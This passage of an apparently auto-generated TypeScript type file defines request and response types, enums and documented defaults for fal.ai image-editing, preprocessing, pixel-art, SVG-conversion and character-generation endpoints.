inputFalAiImageEditingWeatherEffectSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingWeatherEffectSafetyToleranceEnum] + +export const inputFalAiImageEditingWeatherEffectOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingWeatherEffectOutputFormatEnumKey = + (typeof inputFalAiImageEditingWeatherEffectOutputFormatEnum)[keyof typeof inputFalAiImageEditingWeatherEffectOutputFormatEnum] + +export const inputFalAiImageEditingWeatherEffectAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingWeatherEffectAspectRatioKey = + (typeof inputFalAiImageEditingWeatherEffectAspectRatio)[keyof typeof inputFalAiImageEditingWeatherEffectAspectRatio] + +export type InputFalAiImageEditingWeatherEffect = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingWeatherEffectSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingWeatherEffectOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The weather effect to apply. + * @default 'heavy snowfall' + * @example heavy snowfall + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingWeatherEffectAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image41Ce74Da = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingWeatherEffect = { + seed: number + /** + * @example [{"url":"https://fal.media/files/panda/YhTFlPVSkuyPisQleLPQF_186310a04a8d4120a44b72f50f28ab5f.jpg"}] + * @type array + */ + images: Image41Ce74Da[] +} + +/** + * @description Input model for wojak style endpoint. + * @type object + */ +export type InputFalAiImageEditingWojakStyle = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the image to convert to wojak style. + * @example https://v3.fal.media/files/rabbit/UGZQWl6lUdYeu91QzUZys_5ODmUQcqNeufTbf_hhO0h_unnamed%20(2).jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image03832Cf6 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingWojakStyle = { + seed: number + /** + * @example [{"url":"https://v3.fal.media/files/koala/_fpVsU6fC6b77OGnPAxuw.png"}] + * @type array + */ + images: Image03832Cf6[] +} + +/** + * @description Input model for YouTube thumbnails endpoint. + * @type object + */ +export type InputFalAiImageEditingYoutubeThumbnails = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Whether to enable the safety checker for the generated image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The text to include in the YouTube thumbnail. + * @default 'Generate youtube thumbnails' + * @example Generate youtube thumbnails using text 'EPIC FAIL. + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 0.5 + * @type number | undefined + */ + lora_scale?: number + /** + * @description URL of the image to convert to YouTube thumbnail style. + * @example https://v3.fal.media/files/koala/QUihQrMqowYu30UFC_Atk.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF12Cbb45 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingYoutubeThumbnails = { + seed: number + /** + * @example [{"url":"https://v3.fal.media/files/panda/oEr-wYCpGx0e15bAdykby.png"}] + * @type array + */ + images: ImageF12Cbb45[] +} + +export type InputFalAiImagePreprocessorsDepthAnythingV2 = { + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image19B77821 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsDepthAnythingV2 = { + /** + * @description Image with depth map + * @type object + */ + image: Image19B77821 +} + +export type InputFalAiImagePreprocessorsHed = { + /** + * @description Whether to use the scribble version of the HED detector + * @default false + * @type boolean | undefined + */ + scribble?: boolean + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string + /** + * @description Whether to use the safe version of the HED detector + * @default false + * @type boolean | undefined + */ + safe?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image97E4E06B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsHed = { + /** + * @description Image with lines detected using the HED detector + * @type object + */ + image: Image97E4E06B +} + +export type InputFalAiImagePreprocessorsLineart = { + /** + * @description Whether to use the coarse model + * @default false + * @type boolean | undefined + */ + coarse?: boolean + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA4934E9D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsLineart = { + /** + * @description Image with edges detected using the Canny algorithm + * @type object + */ + image: ImageA4934E9D +} + +export type InputFalAiImagePreprocessorsMidas = { + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string + /** + * @description A parameter for the MiDaS detector + * @default 6.283185307179586 + * @type number | undefined + */ + a?: number + /** + * @description Background threshold for the MiDaS detector + * @default 0.1 + * @type number | undefined + */ + background_threshold?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image94E4Bf68 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsMidas = { + /** + * @description Image with MiDaS depth map + * @type object + */ + depth_map: Image94E4Bf68 + /** + * @description Image with MiDaS normal map + * @type object + */ + normal_map: Image94E4Bf68 +} + +export type InputFalAiImagePreprocessorsMlsd = { + /** + * @description Score threshold for the MLSD detector + * @default 0.1 + * @type number | undefined + */ + score_threshold?: number + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string + /** + * @description Distance threshold for the MLSD detector + * @default 0.1 + * @type number | undefined + */ + distance_threshold?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image82C56D2A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsMlsd = { + /** + * @description Image with lines detected using the MLSD detector + * @type object + */ + image: Image82C56D2A +} + +export type InputFalAiImagePreprocessorsPidi = { + /** + * @description Whether to use the scribble version of the Pidi detector + * @default false + * @type boolean | undefined + */ + scribble?: boolean + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string + /** + * @description Whether to use the safe version of the Pidi detector + * @default false + * @type boolean | undefined + */ + safe?: boolean + /** + * @description Whether to apply the filter to the image. + * @default false + * @type boolean | undefined + */ + apply_filter?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6D116Cb4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsPidi = { + /** + * @description Image with Pidi lines detected + * @type object + */ + image: Image6D116Cb4 +} + +export type InputFalAiImagePreprocessorsSam = { + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB9E298Bd = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsSam = { + /** + * @description Image with SAM segmentation map + * @type object + */ + image: ImageB9E298Bd +} + +export const inputFalAiImagePreprocessorsScribbleModelEnum = { + HED: 'HED', + PiDi: 'PiDi', +} as const + +export type InputFalAiImagePreprocessorsScribbleModelEnumKey = + (typeof inputFalAiImagePreprocessorsScribbleModelEnum)[keyof typeof inputFalAiImagePreprocessorsScribbleModelEnum] + +export type InputFalAiImagePreprocessorsScribble = { + /** + * @description The model to use for the Scribble detector + * @default 'HED' + * @type string | undefined + */ + model?: InputFalAiImagePreprocessorsScribbleModelEnumKey + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string + /** + * @description Whether to use the safe version of the Scribble detector + * @default false + * @type boolean | undefined + */ + safe?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDeda3Cf8 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsScribble = { + /** + * @description Image with lines detected using the Scribble detector + * @type object + */ + image: ImageDeda3Cf8 +} + +export type InputFalAiImagePreprocessorsTeed = { + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageB23F9222 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsTeed = { + /** + * @description Image with TeeD lines detected + * @type object + */ + image: ImageB23F9222 +} + +export type InputFalAiImagePreprocessorsZoe = { + /** + * @description URL of the image to process + * @example https://storage.googleapis.com/falserverless/model_tests/image_preprocessors/cat.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE30Eefdc = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiImagePreprocessorsZoe = { + /** + * @description Image with depth map + * @type object + */ + image: ImageE30Eefdc +} + +export const inputFalAiImage2PixelDetectMethodEnum = { + auto: 'auto', + runs: 'runs', + edge: 'edge', +} as const + +export type InputFalAiImage2PixelDetectMethodEnumKey = + (typeof inputFalAiImage2PixelDetectMethodEnum)[keyof typeof inputFalAiImage2PixelDetectMethodEnum] + +export const inputFalAiImage2PixelDownscaleMethodEnum = { + dominant: 'dominant', + median: 'median', + mode: 'mode', + mean: 'mean', + 'content-adaptive': 'content-adaptive', +} as const + +export type InputFalAiImage2PixelDownscaleMethodEnumKey = + (typeof inputFalAiImage2PixelDownscaleMethodEnum)[keyof typeof inputFalAiImage2PixelDownscaleMethodEnum] + +export const inputFalAiImage2PixelBackgroundModeEnum = { + edges: 'edges', + corners: 'corners', + midpoints: 'midpoints', +} as const + +export type InputFalAiImage2PixelBackgroundModeEnumKey = + (typeof inputFalAiImage2PixelBackgroundModeEnum)[keyof typeof inputFalAiImage2PixelBackgroundModeEnum] + +export type InputFalAiImage2Pixel = { + /** + * @description Dominant color threshold (0.0-1.0). + * @minimum 0 + * @maximum 1 + * @default 0.05 + * @type number | undefined + */ + dominant_color_threshold?: number + /** + * @description Trim borders of the image. + * @default false + * @type boolean | undefined + */ + trim_borders?: boolean + /** + * @description Scale detection method to use. + * @default 'auto' + * @type string | undefined + */ + detect_method?: InputFalAiImage2PixelDetectMethodEnumKey + /** + * @description Downscaling method to produce the pixel-art output. + * @default 'dominant' + * @type string | undefined + */ + downscale_method?: InputFalAiImage2PixelDownscaleMethodEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Optional fixed color palette as hex strings (e.g., ['#000000', '#ffffff']). + */ + fixed_palette?: string[] | null + /** + * @description Apply morphological operations to remove noise. + * @default false + * @type boolean | undefined + */ + cleanup_morph?: boolean + /** + * @description The image URL to process into improved pixel art + * @example https://storage.googleapis.com/falserverless/example_inputs/image2pixel-input.jpg + * @type string + */ + image_url: string + /** + * @description Alpha binarization threshold (0-255). + * @minimum 0 + * @maximum 255 + * @default 128 + * @type integer | undefined + */ + alpha_threshold?: number + /** + * @description Force a specific pixel scale. If None, auto-detect. + */ + scale?: number | null + /** + * @description Enable automatic detection of optimal number of colors. + * @default false + * @type boolean | undefined + */ + auto_color_detect?: boolean + /** + * @description Align output to the pixel grid. + * @default true + * @type boolean | undefined + */ + snap_grid?: boolean + /** + * @description Remove isolated diagonal pixels (jaggy edge cleanup). + * @default false + * @type boolean | undefined + */ + cleanup_jaggy?: boolean + /** + * @description Maximum number of colors in the output palette. Set None to disable limit. + * @default 32 + */ + max_colors?: number | null + /** + * @description Background tolerance (0-255). + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + background_tolerance?: number + /** + * @description Controls where to flood-fill from when removing the background. + * @default 'corners' + * @type string | undefined + */ + background_mode?: InputFalAiImage2PixelBackgroundModeEnumKey + /** + * @description Remove background of the image. This will check for contiguous color regions from the edges after correction and make them transparent. + * @default false + * @type boolean | undefined + */ + transparent_background?: boolean +} + +export type ImageFile98Ec1E37 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiImage2Pixel = { + /** + * @description The palette of the processed media. + * @example ["#000000","#252524","#282826","#2b2b2a","#323232","#4c4c4c","#d57322","#dbdbdc","#f6922b","#fefefe"] + * @type array + */ + palette: string[] + /** + * @description The processed pixel-art image (PNG) and the scaled image (PNG). + * @example [{"content_type":"image/png","height":1008,"width":1008,"file_name":"image2pixel-output.png","url":"https://storage.googleapis.com/falserverless/example_outputs/image2pixel-output.png"},{"content_type":"image/png","height":48,"width":48,"file_name":"image2pixel-output-scaled.png","url":"https://storage.googleapis.com/falserverless/example_outputs/image2pixel-output-scaled.png"}] + * @type array + */ + images: ImageFile98Ec1E37[] + /** + * @description The number of colors in the processed media. + * @example 10 + * @type integer + */ + num_colors: number + /** + * @description The detected pixel scale of the input. + * @example 21 + * @type integer + */ + pixel_scale: number +} + +export const inputFalAiImage2SvgModeEnum = { + spline: 'spline', + polygon: 'polygon', +} as const + +export type InputFalAiImage2SvgModeEnumKey = + (typeof inputFalAiImage2SvgModeEnum)[keyof typeof inputFalAiImage2SvgModeEnum] + +export const inputFalAiImage2SvgHierarchicalEnum = { + stacked: 'stacked', + cutout: 'cutout', +} as const + +export type InputFalAiImage2SvgHierarchicalEnumKey = + (typeof inputFalAiImage2SvgHierarchicalEnum)[keyof typeof inputFalAiImage2SvgHierarchicalEnum] + +export const inputFalAiImage2SvgColormodeEnum = { + color: 'color', + binary: 'binary', +} as const + +export type InputFalAiImage2SvgColormodeEnumKey = + (typeof inputFalAiImage2SvgColormodeEnum)[keyof typeof inputFalAiImage2SvgColormodeEnum] + +export type InputFalAiImage2Svg = { + /** + * @description Maximum number of iterations for optimization + * @minimum 1 + * @maximum 20 + * @default 10 + * @type integer | undefined + */ + max_iterations?: number + /** + * @description Filter out small speckles and noise + * @minimum 0 + * @maximum 20 + * @default 4 + * @type integer | undefined + */ + filter_speckle?: number + /** + * @description Color quantization level + * @minimum 1 + * @maximum 10 + * @default 6 + * @type integer | undefined + */ + color_precision?: number + /** + * @description Corner detection threshold in degrees + * @minimum 0 + * @maximum 180 + * @default 60 + * @type integer | undefined + */ + corner_threshold?: number + /** + * @description Mode: spline (curved) or polygon (straight lines) + * @default 'spline' + * @type string | undefined + */ + mode?: InputFalAiImage2SvgModeEnumKey + /** + * @description Decimal precision for path coordinates + * @minimum 1 + * @maximum 10 + * @default 3 + * @type integer | undefined + */ + path_precision?: number + /** + * @description Length threshold for curves/lines + * @minimum 0 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + length_threshold?: number + /** + * @description The image to convert to SVG + * @example https://v3.fal.media/files/kangaroo/EfqY747bBKy1Ynrgbk5ba_04pwiD1LTsnMZuyEyw757_8f986248a89845d3ba90c23b14089f10.jpg + * @type string + */ + image_url: string + /** + * @description Splice threshold for joining paths + * @minimum 0 + * @maximum 90 + * @default 45 + * @type integer | undefined + */ + splice_threshold?: number + /** + * @description Hierarchical mode: stacked or cutout + * @default 'stacked' + * @type string | undefined + */ + hierarchical?: InputFalAiImage2SvgHierarchicalEnumKey + /** + * @description Choose between color or binary (black and white) output + * @default 'color' + * @type string | undefined + */ + colormode?: InputFalAiImage2SvgColormodeEnumKey + /** + * @description Layer difference threshold for hierarchical mode + * @minimum 1 + * @maximum 32 + * @default 16 + * @type integer | undefined + */ + layer_difference?: number +} + +export type FileB0136D99 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiImage2Svg = { + /** + * @description The converted SVG file + * @example [{"file_size":1247850,"content_type":"image/svg+xml","file_name":"output.svg","url":"https://v3.fal.media/files/koala/B31yLkOEc6AVTzgeyr_9K_output.svg"}] + * @type array + */ + images: FileB0136D99[] +} + +export type InputFalAiImageutilsDepth = { + /** + * @description Input image url. + * @example https://storage.googleapis.com/falserverless/model_tests/remove_background/elephant.jpg + * @type string + */ + image_url: string + /** + * @description depth_and_normal + * @default false + * @type boolean | undefined + */ + depth_and_normal?: boolean + /** + * @description a + * @default 6.283185307179586 + * @type number | undefined + */ + a?: number + /** + * @description bg_th + * @default 0.1 + * @type number | undefined + */ + bg_th?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image1Cf39Db1 = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageutilsDepth = { + /** + * @description The depth map. + * @type object + */ + image: Image1Cf39Db1 +} + +export type InputFalAiImageutilsMarigoldDepth = { + /** + * @description Number of denoising steps. Defaults to `10`. The higher the number, the more accurate the result, but the slower the inference. + * @minimum 2 + * @maximum 50 + * @default 10 + * @example 10 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Input image url. + * @example https://storage.googleapis.com/falserverless/model_tests/remove_background/elephant.jpg + * @type string + */ + image_url: string + /** + * @description Number of predictions to average over. Defaults to `10`. The higher the number, the more accurate the result, but the slower the inference. + * @minimum 2 + * @maximum 50 + * @default 10 + * @example 10 + * @type integer | undefined + */ + ensemble_size?: number + /** + * @description Maximum processing resolution. Defaults `0` which means it uses the size of the input image. + * @minimum 0 + * @maximum 2048 + * @default 0 + * @example 0 + * @type integer | undefined + */ + processing_res?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image886327A7 = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageutilsMarigoldDepth = { + /** + * @description The depth map. + * @type object + */ + image: Image886327A7 +} + +export type InputFalAiImageutilsRembg = { + /** + * @description + * If set to true, the resulting image be cropped to a bounding box around the subject + * + * @default false + * @type boolean | undefined + */ + crop_to_bbox?: boolean + /** + * @description Input image url. + * @example https://storage.googleapis.com/falserverless/model_tests/remove_background/elephant.jpg + * @type string + */ + image_url: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image95A37817 = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageutilsRembg = { + /** + * @description Background removed image. + * @type object + */ + image: Image95A37817 +} + +export type ImageSize4E6699E9 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiInstantCharacterImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiInstantCharacterImageSizeKey = + (typeof inputFalAiInstantCharacterImageSize)[keyof typeof inputFalAiInstantCharacterImageSize] + +export const inputFalAiInstantCharacterOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiInstantCharacterOutputFormatEnumKey = + (typeof inputFalAiInstantCharacterOutputFormatEnum)[keyof typeof inputFalAiInstantCharacterOutputFormatEnum] + +export type InputFalAiInstantCharacter = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The image URL to generate an image from. Needs to match the dimensions of the mask. + * @example 